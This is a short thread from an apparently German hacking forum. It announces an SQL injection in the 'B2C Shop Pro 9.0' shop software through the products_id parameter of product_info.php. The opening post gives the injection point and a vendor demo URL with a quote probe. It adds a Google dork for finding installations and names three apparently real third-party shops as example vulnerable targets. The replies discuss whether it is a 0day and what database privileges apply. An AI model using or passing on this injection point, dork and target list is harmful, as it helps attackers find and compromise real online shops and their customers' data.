2 replies to this topic

[CyberFlash]

#Date 10.11.19

#Vuln : Sql Injection in B2C Shop Pro 9.0

#Vuln : /product_info.php?products_id=28[Inject Here]

#Vendor : https://www.store-systems.de

#Demo : http://www.store-systems.de/demoshops/testshop4/index.php

#Demo Vuln : www.store-systems.de/demoshops/testshop4/product_info.php?cPath=62&products_id=87'

#Dork : intext:Shopsoftware von store-systems.de | bisher die mmeisten Vulns


Bsp. Vuln's :



    https://www.customify.de/testshops/demo/product_info.php?products_id=40'&osCsid=448c9080b0e7c036c9f35f2e37d4c698

    https://www.bio-und-du.de/product_info.php?products_id=28'

    https://shop.delices.at/product_info.php?products_id=57'

Edited by CyberFlash, 10 November 2019 - 11:36 Uhr.

[samimedoaff]

Ist das nen 0day? Dass sowas noch existiert .. Unter welchen Rechten läuft die Datenbank?

[CyberFlash]

Ist das nen 0day? Dass sowas noch existiert .. Unter welchen Rechten läuft die Datenbank?

 

Ob diese Vuln schon einmal gefunden wurde weiss ich & kann ich nicht ausschliessen.

Laut google nein, aber nicht jeder macht sowas Pub. Auch wen es ein kleines Shops System ist.

Was die Rechte anbelangt würde ich sagen, das kommt darauf an wer das System eingerichtet hat

Das muss ja nicht überall das selbe sein...